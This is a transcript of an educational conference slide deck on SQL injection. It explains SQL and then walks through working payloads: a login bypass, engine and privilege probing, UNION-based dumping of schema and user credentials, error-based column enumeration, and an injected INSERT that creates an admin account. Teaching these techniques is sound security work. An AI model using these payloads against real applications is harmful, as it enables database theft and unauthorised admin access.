How did i steal your database CSCamp2011

72
How Did I Steal Your Database Mostafa Siraj Application Security Expert

Transcript of How did i steal your database CSCamp2011

Page 1: How did i steal your database CSCamp2011

How Did I Steal Your DatabaseMostafa Siraj

Application Security Expert

Page 2: How did i steal your database CSCamp2011

DISCLAIMER

Hacking websites is ILLEGAL

This presentation is meant for educational purposes ONLY

Only use this stuff on YOUR website and YOUR account

Page 3: How did i steal your database CSCamp2011

Nearly all applications rely on a Datastore

Page 4: How did i steal your database CSCamp2011

What is Database

• A Collection of Tables (Users, Orders, Countries,..etc)

• The tables are a collection of columns/rowsUsername Password First_Na

meLast_Name

Email IsAdmin

Elprince Elprince123

Ahmed ElMasry [email protected]

Yes

ElnegmTamer

Password123

Tamer Tamer [email protected]

No

…… ….. …… …… ……`

Page 5: How did i steal your database CSCamp2011

What is SQL

• A query language that allows interacting with the database

• SQL can

– Retrieve data from the database

– Insert new records in the database

– Delete records from the database

– Update records in the database

Page 6: How did i steal your database CSCamp2011

SQL Queries

• To get all data about Username elprince:

SELECT Username,Password, First_Name,Last_Name, Password

FROM Users

WHERE Username=‘elprince’

• Gives a result:

Elprince Elprince123 Ahmed ElMasry [email protected]

Page 7: How did i steal your database CSCamp2011

FACT

• Amongst Codd's rules for a Relational Database:

– Metadata must be stored in the database just as regular data is

Page 8: How did i steal your database CSCamp2011

SQL Injection

• is a technique where an attacker creates or alters existing SQL commands

– Expose hidden data (e.g. steal all the records from the tables)

– Override the data (e.g. Administrators password)

– Execute dangerous system level commands on the database host

Page 9: How did i steal your database CSCamp2011

SQL Injection Login Example

SELECT * FROM Users WHERE Username=‘username’ AND Password=‘password’

• If the user entered Elprince, Elprince123 the query will be

SELECT * FROM Users WHERE Username=‘Elprince’ AND Password=‘Elprince123’

Page 10: How did i steal your database CSCamp2011

SQL Injection Ex Cont

• Suppose the User entered ‘ OR 1=1--, 123 the query will be

SELECT * FROM Users WHERE

Username=‘‘ OR 1=1--’ AND Password=‘123’

• -- comments everything afterwards, so the query will be

SELECT * FROM Users WHERE

Username=‘‘ OR 1=1--

Page 11: How did i steal your database CSCamp2011

This is not enough

• You can enhance the injection to login with the administrator account

Enter ‘ or 1=1 ORDER BY 1--, abc the query will be

SELECT * FROM Users WHERE

Username=‘‘ OR 1=1 ORDER BY 1--’ AND Password=‘123’

Page 12: How did i steal your database CSCamp2011

Finding SQL Injection Bugs

• Submit single quotation mark and observe the result

• Submit two single quotations and observe the result

Page 13: How did i steal your database CSCamp2011

Finding SQL Injection Bugs

• For multistate processes, complete all the states before observing the results

• For search fields try using the wildcard character %

Page 14: How did i steal your database CSCamp2011

Finding SQL Injection Bugs

• For numeric data, if the original value was 2 try submitting

1+1 or 3-1

• If successful try using SQL-specific keywords, e.g.

67-ASCII(‘A’)

• If single quotes are filtered try

51-ASCII(1) [note ASCII(1)=49]

Page 15: How did i steal your database CSCamp2011

Identify the database engine

• The error messages will let us know the DB engine

• We can guess the DB based on OS or Web Server (e.g. LAMP: Linux+Apache+PHP+….)

Page 16: How did i steal your database CSCamp2011

Identify the database engine

•Use specific characters or commands:

String concatenation in different DB engines

: ‘||’FOO

: ‘+’FOO

: ‘ ‘FOO *note the space btw the 2 quotes]

Page 17: How did i steal your database CSCamp2011

Identify User privileges

• ‘ and 1 in (SELECT user) --

• ‘; IF user=‘admin’ WAITFOR DELAY ‘0:0:10’--

Page 18: How did i steal your database CSCamp2011

Injection in Search Fields

35

Page 19: How did i steal your database CSCamp2011

Entering Normal Input

Page 20: How did i steal your database CSCamp2011

Search Results

Page 21: How did i steal your database CSCamp2011

Trying Single Quote

Page 22: How did i steal your database CSCamp2011

I receive this error

Error states that it’s

Page 23: How did i steal your database CSCamp2011

Suppose I still don’t know the DB engine, Is it

Note: string concatenation in is +

Page 24: How did i steal your database CSCamp2011

I’m having an error, it’s not

Page 25: How did i steal your database CSCamp2011

Is it

Note: string concatenation in Oracle is ||

Page 26: How did i steal your database CSCamp2011

Different error, still not

Page 27: How did i steal your database CSCamp2011

Is it

Note: string concatenation in MySQL is blank space

Page 28: How did i steal your database CSCamp2011

It’s

Page 29: How did i steal your database CSCamp2011

The query in the backendis something like that

SELECT …,…,…,…,…

FROM ….

WHERE ….=…. AND ….!=….. OR ….. OR ….LIKE….

A possible location for my input

Page 30: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

SELECT …,…,…,…,…

FROM ….

WHERE ….=…. AND ….!=….. OR …..>……

How many items are here

Page 31: How did i steal your database CSCamp2011

The Strategy

2. Identify the location of the STRINGS in the SELECT Statement

SELECT …,…,…,…,…

FROM ….

WHERE ….=…. AND ….!=….. OR …..>……

Which of those are strings

Page 32: How did i steal your database CSCamp2011

The Strategy

3. Get the Structure of the database

SELECT …,…,…,…,…

FROM ….

WHERE …. UNION

SELECT ….,TableNames,….,….,…

FROM DatabaseStructure --=…. AND ….!=….. OR …..>……

Page 33: How did i steal your database CSCamp2011

The Strategy

4. Get the data from the database

SELECT …,…,…,…,…

FROM ….

WHERE …. UNION

SELECT ….,Usernames,….,….,…

FROM Users --=…. AND ….!=….. OR …..>……

Page 34: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

2. Identify the location of the STRINGS in the SELECT Statement

3. Get the Structure of the database

4. Get the data from the database

Page 35: How did i steal your database CSCamp2011

1. Get number of items after the SELECT statement

Page 36: How did i steal your database CSCamp2011

Error

Page 37: How did i steal your database CSCamp2011

Try another number

Page 38: How did i steal your database CSCamp2011

Result

Why the results are less?

Page 39: How did i steal your database CSCamp2011

Try another number

Page 40: How did i steal your database CSCamp2011

Error, it’s not 8

Page 41: How did i steal your database CSCamp2011

Let’s try 7

Page 42: How did i steal your database CSCamp2011

Result

How many columns do we have in the SELECT statement

Page 43: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

2. Identify the location of the STRINGS in the SELECT Statement

3. Get the Structure of the database

4. Get the data from the database

Page 44: How did i steal your database CSCamp2011

2. Identify the location of the STRINGS in the SELECT Statement

1234') UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#

Page 45: How did i steal your database CSCamp2011

Result

Page 46: How did i steal your database CSCamp2011

Get the Strings and the locations

1234') UNION SELECT NULL,'ABC','DEF','IJK','LMN',NULL,NULL#

Page 47: How did i steal your database CSCamp2011

Result

Page 48: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

2. Identify the location of the STRINGS in the SELECT Statement

3. Get the Structure of the database

4. Get the data from the database

Page 49: How did i steal your database CSCamp2011

3. Get the Structure of the database

1234') UNION SELECT NULL,NULL,NULL,table_name,NULL,NULL,NULLFROM information_schema.tables#

Page 50: How did i steal your database CSCamp2011

Result

Page 51: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

2. Identify the location of the STRINGS in the SELECT Statement

3. Get the Structure of the database

4. Get the data from the database

Page 52: How did i steal your database CSCamp2011

Next Queries

1234') UNION SELECT NULL,NULL,NULL,column_name,NULL,NULL,NULLFROM information_schema.columns where table_name=‘USERS'#

1234') UNION SELECTNULL,NULL,NULL,username,password,null,nullFROM users WHERE id<100#

…….

Continue till you get all the tables

Page 53: How did i steal your database CSCamp2011

The Strategy

1. Get number of items after the SELECT statement

2. Identify the location of the STRINGS in the SELECT Statement

3. Get the Structure of the database

4. Get the data from the database

Page 54: How did i steal your database CSCamp2011

Injection with errors

Page 55: How did i steal your database CSCamp2011

Gives me an Error

Page 56: How did i steal your database CSCamp2011

Getting version

' and 1 in (SELECT @@version)--

Page 57: How did i steal your database CSCamp2011

Gives me this error

Page 58: How did i steal your database CSCamp2011

Getting Column names

Page 59: How did i steal your database CSCamp2011

I get this Error

Page 60: How did i steal your database CSCamp2011

Getting next column name

' group by login.firstname having 1=1--

Page 61: How did i steal your database CSCamp2011

I get this error

Page 62: How did i steal your database CSCamp2011

Again

' group by login.firstname, login.surname having 1=1--

Page 63: How did i steal your database CSCamp2011

Error reveals new column name

Page 64: How did i steal your database CSCamp2011

Again

' group by login.firstname, login.surname,login.username having 1=1--

Page 65: How did i steal your database CSCamp2011

New column name

Page 66: How did i steal your database CSCamp2011

Continue…

Page 67: How did i steal your database CSCamp2011

Continue…

Page 68: How did i steal your database CSCamp2011

Continue…

• After getting all of the columns I found a field called IsAdmin -that’s my goal -

• Putting the following query creates an admin account on the application

‘; INSERT INTO Login

(username,pwd,IsAdmin,……)

VALUES

(‘Administrator’,’******’,TRUE,…..)

Page 69: How did i steal your database CSCamp2011

Not all Injections generate errors

Page 70: How did i steal your database CSCamp2011

DEMO

SQLMap

Page 71: How did i steal your database CSCamp2011

You Were GREAT Audience

Page 72: How did i steal your database CSCamp2011

Thank You

@mostafasiraj

Mostafa Siraj